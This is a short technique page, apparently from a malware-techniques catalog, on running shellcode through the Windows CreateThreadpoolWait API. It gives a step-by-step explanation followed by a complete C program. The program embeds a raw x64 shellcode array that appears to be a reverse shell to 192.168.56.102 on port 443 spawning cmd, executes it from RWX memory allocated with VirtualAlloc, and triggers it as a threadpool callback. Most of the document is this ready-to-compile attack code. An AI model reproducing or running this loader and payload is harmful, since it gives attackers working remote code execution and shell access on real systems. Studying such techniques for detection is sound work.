
Shellcode Injection via CreateThreadpoolWait
Malware can inject shellcode via CreateThreadpoolWait
API.
CreateEvent
is used to create an event object with a Signaled state.- RWX memory for the shellcode is allocated with
VirtualAlloc
and the shellcode is written there. CreateThreadpoolWait
is used to create a wait object. First argument of the function is a callback function, which will be called once the wait ends (immediately in our case, since our waitable event is in the Signaled state from the start). We will pass the address of our shellcode (allocated in step 2) as the callback function.SetThreadpoolWait
is used to set wait object to the wait object created in step 3.WaitForSingleObject
is used to wait for the waitable object to become Signaled, but since our event (waitable) object was created with a Signaled state in step 1, our callback function specified in step 3 is called and the shellcode is executed right away:
Code Snippets
Description
Original source code: https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}